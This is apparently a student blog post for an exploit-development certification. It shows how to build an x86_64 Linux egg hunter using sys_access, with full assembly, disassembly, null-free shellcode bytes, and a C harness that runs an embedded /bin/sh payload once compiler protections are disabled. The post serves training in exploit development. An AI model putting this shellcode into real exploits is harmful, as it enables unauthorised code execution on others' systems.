14 Minute Read
Student ID: SLAE64-1611

Assignment Three: Creating Shellcode for an Egg Hunter in x86_64

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Shellcode


Creating Shellcode for an Egg Hunter in x86_64

If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode for an Egg Hunter (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…

Not Just a Port This Time …

Thus far we have only had to port our code directly from x86 to x86_64 … however this time around there was a slight snag in that the core functionality of the function used to check if the memory we want to search was valid or not!

In the x86 version we used a function called sigaction, which is comprised of the following code:

300SYSCALL_DEFINE3(sigaction, int, sig, const struct sigaction __user *, act,
 301        struct sigaction __user *, oact)
 302{
 303        struct k_sigaction new_ka, old_ka;
 304        int ret;
 305        int err = 0;
 306
 307        if (act) {
 308                old_sigset_t mask;
 309
 310                if (!access_ok(VERIFY_READ, act, sizeof(*act)))
 311                        return -EFAULT;
 312                err |= __get_user(new_ka.sa.sa_handler, &act->sa_handler);
 313                err |= __get_user(new_ka.sa.sa_flags, &act->sa_flags);
 314                err |= __get_user(mask, &act->sa_mask.sig[0]);
 315                if (err)
 316                        return -EFAULT;
 317
 318                siginitset(&new_ka.sa.sa_mask, mask);
 319        }
 320
 321        ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
 322
 323        if (!ret && oact) {
 324                if (!access_ok(VERIFY_WRITE, oact, sizeof(*oact)))
 325                        return -EFAULT;
 326                err |= __put_user(old_ka.sa.sa_flags, &oact->sa_flags);
 327                err |= __put_user(old_ka.sa.sa_handler, &oact->sa_handler);
 328                err |= __put_user(old_ka.sa.sa_mask.sig[0], oact->sa_mask.sig);
 329                err |= __put_user(0, &oact->sa_mask.sig[1]);
 330                err |= __put_user(0, &oact->sa_mask.sig[2]);
 331                err |= __put_user(0, &oact->sa_mask.sig[3]);
 332                if (err)
 333                        return -EFAULT;
 334        }
 335
 336        return ret;
 337}
 338#endif


And initially I tried making a call to rt_sigaction, which is comprised of the following code:

2955SYSCALL_DEFINE4(rt_sigaction, int, sig,
2956                const struct sigaction __user *, act,
2957                struct sigaction __user *, oact,
2958                size_t, sigsetsize)
2959{
2960        struct k_sigaction new_sa, old_sa;
2961        int ret = -EINVAL;
2962
2963        /* XXX: Don't preclude handling different sized sigset_t's.  */
2964        if (sigsetsize != sizeof(sigset_t))
2965                goto out;
2966
2967        if (act) {
2968                if (copy_from_user(&new_sa.sa, act, sizeof(new_sa.sa)))
2969                        return -EFAULT;
2970        }
2971
2972        ret = do_sigaction(sig, act ? &new_sa : NULL, oact ? &old_sa : NULL);
2973
2974        if (!ret && oact) {
2975                if (copy_to_user(oact, &old_sa.sa, sizeof(old_sa.sa)))
2976                        return -EFAULT;
2977        }
2978out:
2979        return ret;
2980}
https://stackoverflow.com/questions/12889116/what-is-the-difference-between-signal-and-rt-signal-syscalls-in-linux

The main difference in the two is that in the x86 version there is a call to:

if (!access_ok(VERIFY_READ, act, sizeof(*act)))

and in the x86_64 version there is not … so it instead of calling rt_sigaction I instead made a call to sys_access, which does the same basic thing by returning an EFAULT when it tries to read from memory we do not have access to.

So after swapping out the call to rt_siginit with sys_access we are left with the following (null free) assembly code:

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
; File Name    : egghunter.nasm

global _start

section .text

_start:

xor rdx, rdx        ; zero out rdx so we have a place to
                    ; hold our memory address

setup_page:
    or  dx, 0xfff   ; setting lower 16 bits to 4095

next_address:
    inc rdx         ; moving it to 4096 while avoiding
                    ; null characters 0x00

    xor rax, rax    ; zeroing out eax
    mov rsi, rax    ; zero out int mode in param 2
    add rax, 21     ; set rax to sys_access
    mov rdi, rdx    ; moving memory address to param 1

    syscall         ; invoke sys_access

    cmp al, 0xf2    ; eax will contain 0xf2 if memory
                    ; is not valid, ie. an EFAULT

    jz setup_page   ; if the compare flag is zero then
                    ; we don't have valid memory so reset
                    ; to the next memory page and press on

    mov rax, 0xFCFCFCFCFCFCFCFC ; moving egg into eax in prep for searching
    mov rdi, rdx                ; moving memory address into param 1

    scasq            ; comparing egg with memory location

    jnz next_address ; if it dosent match increase memory by one byte
                     ; and try again

    scasq            ; comparing egg with memory location

    jnz next_address ; if this is not zero it's not a match
                     ; so on we will press increasing memory one more byte

    jmp rdi      ; if we got this far then we found our egg and our
                 ; memory address is already at the right place due
                 ; to scasq so it's time to jump!
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/egghunter.nasm


Null Free Is The Way To Be!

After again running our command to disassemble our completed egg hunter binary we can see that we do indeed have no nulls!

objdump -d -M intel egghunter

which produces the following output:

egghunter:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 d2             	xor    rdx,rdx

0000000000400083 <setup_page>:
  400083:	66 81 ca ff 0f       	or     dx,0xfff

0000000000400088 <next_address>:
  400088:	48 ff c2             	inc    rdx
  40008b:	48 31 c0             	xor    rax,rax
  40008e:	48 89 c6             	mov    rsi,rax
  400091:	48 83 c0 15          	add    rax,0x15
  400095:	52                   	push   rdx
  400096:	5f                   	pop    rdi
  400097:	0f 05                	syscall 
  400099:	3c f2                	cmp    al,0xf2
  40009b:	74 e6                	je     400083 <setup_page>
  40009d:	48 b8 fc fc fc fc fc 	movabs rax,0xfcfcfcfcfcfcfcfc
  4000a4:	fc fc fc 
  4000a7:	48 89 d7             	mov    rdi,rdx
  4000aa:	48 af                	scas   rax,QWORD PTR es:[rdi]
  4000ac:	75 da                	jne    400088 <next_address>
  4000ae:	48 af                	scas   rax,QWORD PTR es:[rdi]
  4000b0:	75 d6                	jne    400088 <next_address>
  4000b2:	ff e7                	jmp    rdi


At this point all that is left is to convert our egg hunter to shellcode for insertion into our proof of concept C program:

for i in $(objdump -D egghunter.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo


Which produces the following output:

\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7


which we can then insert into our proof of concept C program that will execute our shellcode!

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie

const unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";

const unsigned char payload[] = \
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Egghunter Shellcode Length:  %zu\n", strlen(egghunter));
    printf("Payload Shellcode Length:  %zu\n", strlen(payload));

    int (*ret)() = (int(*)())egghunter;
    ret();
}
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/shellcode.c


Which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to do…

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie


No Pie for You, Come Back One Year!

So something interesting happened while trying to get the exploit code to work on a modern copy of Ubuntu 18.04.1 x86_64 … no matter what I did it just would not work. When I would run the shellcode binary through strace I could see the call to access was correctly being called but it would always return an EFAULT even though when I could call strace on the egghunter binary I could see it finding accessible memory any issues … so what gives?

As it turns out, there have been quite a few security features introduced over the years … and while I was familair with disabling a few of them (no-stack-protector and execstack) there was one called position independent executables (pie) I was not quite as familair with. After a lot of googling around I was able to determine that in my case, since the OS (and gcc) was so recent, that I needed to add one additional flag to gcc called -no-pie.

After adding that flag my egghunter worked perfectly with my proof of concept exploit/shellcode!

For more information about pie check out the following links:

https://access.redhat.com/blogs/766093/posts/1975793
https://en.wikipedia.org/wiki/Position-independent_code


So without further ado … lets see it in action!

Our Egg Hunter finding the /bin/sh payload:
Egg Hunter finding a payload


Final_Shellcode:

Below is the finished set of code that will perform the egg hunt. The Assembly is for the egg hunter itself, while the C code is where we invoke the egg hunter code as well as insert the payload shellcode into the program memory. Remember to prepend \xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC to the beginning of whatever payload you decide to execute, as this egg hunter should find and execute Linux/x86_64 shellcode of any length!

Our Egg Hunter Assembly Code in x86_64

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
; File Name    : egghunter.nasm

global _start

section .text

_start:

xor rdx, rdx        ; zero out rdx so we have a place to
                    ; hold our memory address

setup_page:
    or  dx, 0xfff   ; setting lower 16 bits to 4095

next_address:
    inc rdx         ; moving it to 4096 while avoiding
                    ; null characters 0x00

    xor rax, rax    ; zeroing out eax
    mov rsi, rax    ; zero out int mode in param 2
    add rax, 21     ; set rax to sys_access
    mov rdi, rdx    ; moving memory address to param 1

    syscall         ; invoke sys_access

    cmp al, 0xf2    ; eax will contain 0xf2 if memory
                    ; is not valid, ie. an EFAULT

    jz setup_page   ; if the compare flag is zero then
                    ; we don't have valid memory so reset
                    ; to the next memory page and press on

    mov rax, 0xFCFCFCFCFCFCFCFC ; moving egg into eax in prep for searching
    mov rdi, rdx                ; moving memory address into param 1

    scasq            ; comparing egg with memory location

    jnz next_address ; if it dosent match increase memory by one byte
                     ; and try again

    scasq            ; comparing egg with memory location

    jnz next_address ; if this is not zero it's not a match
                     ; so on we will press increasing memory one more byte

    jmp rdi      ; if we got this far then we found our egg and our
                 ; memory address is already at the right place due
                 ; to scasq so it's time to jump!
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/egghunter.nasm


Final C Program To Execute Egg Hunter

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie

const unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";

const unsigned char payload[] = \
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Egghunter Shellcode Length:  %zu\n", strlen(egghunter));
    printf("Payload Shellcode Length:  %zu\n", strlen(payload));

    int (*ret)() = (int(*)())egghunter;
    ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/shellcode.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)